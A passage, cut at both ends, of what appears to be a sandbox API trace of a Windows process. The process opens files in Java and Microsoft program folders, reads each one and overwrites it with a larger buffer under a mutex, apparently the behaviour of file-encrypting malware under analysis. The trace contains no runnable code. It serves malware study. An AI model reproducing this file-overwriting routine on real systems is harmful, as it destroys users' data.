lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x340f2d0*=0xb40, lpOverlapped=0x0) returned 1 [0055.089] CloseHandle (hObject=0x1b0) returned 1 [0055.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\moscow"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.090] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.090] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2b5 [0055.090] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.090] ReleaseMutex (hMutex=0x128) returned 1 [0055.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Moscow", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Moscow", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Moscow", lpUsedDefaultChar=0x0) returned 6 [0055.090] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2b5, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x340f2bc*=0x2b5, lpOverlapped=0x0) returned 1 [0055.091] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.091] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x83d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x83d, lpOverlapped=0x0) returned 1 [0055.091] CloseHandle (hObject=0x1b0) returned 1 [0055.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tallinn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.092] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.092] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x438 [0055.092] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.092] ReleaseMutex (hMutex=0x128) returned 1 [0055.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tallinn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0055.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tallinn", cchWideChar=7, lpMultiByteStr=0x1e6a78c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tallinn", lpUsedDefaultChar=0x0) returned 7 [0055.092] ReadFile (in: hFile=0x1b0, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x438, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x340f2bc*=0x438, lpOverlapped=0x0) returned 1 [0055.095] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.096] WriteFile (in: hFile=0x1b0, lpBuffer=0x2804d18*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2804d18*, lpNumberOfBytesWritten=0x340f2d0*=0x9c0, lpOverlapped=0x0) returned 1 [0055.096] CloseHandle (hObject=0x1b0) returned 1 [0055.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\gmt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.096] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.096] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1b [0055.096] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.096] ReleaseMutex (hMutex=0x128) returned 1 [0055.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0055.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT", cchWideChar=3, lpMultiByteStr=0x1e6aa2c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT", lpUsedDefaultChar=0x0) returned 3 [0055.097] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x340f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.097] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.098] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.098] CloseHandle (hObject=0x1b0) returned 1 [0055.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mauritius" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mauritius"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.098] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.098] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x69 [0055.098] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.098] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.098] ReleaseMutex (hMutex=0x128) returned 1 [0055.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mauritius", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mauritius", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mauritius", lpUsedDefaultChar=0x0) returned 9 [0055.099] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e49c78, nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e49c78*, lpNumberOfBytesRead=0x340f2bc*=0x69, lpOverlapped=0x0) returned 1 [0055.099] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.100] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5f1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5f1, lpOverlapped=0x0) returned 1 [0055.100] CloseHandle (hObject=0x1b0) returned 1 [0055.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Easter" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\easter"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.100] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.100] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4e0 [0055.100] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.100] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.101] ReleaseMutex (hMutex=0x128) returned 1 [0055.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Easter", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Easter", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Easter", lpUsedDefaultChar=0x0) returned 6 [0055.101] ReadFile (in: hFile=0x1b0, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x340f2bc*=0x4e0, lpOverlapped=0x0) returned 1 [0055.104] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.104] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xa68, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x340f2d0*=0xa68, lpOverlapped=0x0) returned 1 [0055.105] CloseHandle (hObject=0x1b0) returned 1 [0055.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Honolulu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\honolulu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.105] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.105] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x69 [0055.105] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.105] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.106] ReleaseMutex (hMutex=0x128) returned 1 [0055.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Honolulu", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Honolulu", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Honolulu", lpUsedDefaultChar=0x0) returned 8 [0055.106] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e49c78, nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e49c78*, lpNumberOfBytesRead=0x340f2bc*=0x69, lpOverlapped=0x0) returned 1 [0055.107] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.107] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5f1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5f1, lpOverlapped=0x0) returned 1 [0055.107] CloseHandle (hObject=0x1b0) returned 1 [0055.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Norfolk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\norfolk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.108] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.108] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4d [0055.108] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.108] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.108] ReleaseMutex (hMutex=0x128) returned 1 [0055.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Norfolk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0055.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Norfolk", cchWideChar=7, lpMultiByteStr=0x1e6a78c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Norfolk", lpUsedDefaultChar=0x0) returned 7 [0055.108] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e8e7a8, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8e7a8*, lpNumberOfBytesRead=0x340f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0055.109] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.109] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0055.109] CloseHandle (hObject=0x1b0) returned 1 [0055.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tarawa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\tarawa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.110] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.110] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x41 [0055.110] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.110] ReleaseMutex (hMutex=0x128) returned 1 [0055.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tarawa", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tarawa", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tarawa", lpUsedDefaultChar=0x0) returned 6 [0055.110] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x340f2bc*=0x41, lpOverlapped=0x0) returned 1 [0055.111] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.111] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0055.111] CloseHandle (hObject=0x1b0) returned 1 [0055.111] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\est5edt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.111] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.112] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x8f0 [0055.112] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.112] ReleaseMutex (hMutex=0x128) returned 1 [0055.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST5EDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0055.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST5EDT", cchWideChar=7, lpMultiByteStr=0x1e6a78c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EST5EDT", lpUsedDefaultChar=0x0) returned 7 [0055.112] ReadFile (in: hFile=0x1b0, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x8f0, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x340f2bc*=0x8f0, lpOverlapped=0x0) returned 1 [0055.113] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.114] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xe78, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x340f2d0*=0xe78, lpOverlapped=0x0) returned 1 [0055.114] CloseHandle (hObject=0x1b0) returned 1 [0055.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.114] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.114] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x29 [0055.114] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.114] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.115] ReleaseMutex (hMutex=0x128) returned 1 [0055.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LICENSE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0055.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LICENSE", cchWideChar=7, lpMultiByteStr=0x1e6a78c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LICENSE", lpUsedDefaultChar=0x0) returned 7 [0055.115] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eb2080, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2080*, lpNumberOfBytesRead=0x340f2bc*=0x29, lpOverlapped=0x0) returned 1 [0055.116] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.116] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5b1, lpOverlapped=0x0) returned 1 [0055.116] CloseHandle (hObject=0x1b0) returned 1 [0055.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.120] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.120] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x712e [0055.121] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.121] ReleaseMutex (hMutex=0x128) returned 1 [0055.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msjet.xsl", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msjet.xsl", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msjet.xsl", lpUsedDefaultChar=0x0) returned 9 [0055.121] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.122] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x612e [0055.122] ReadFile (in: 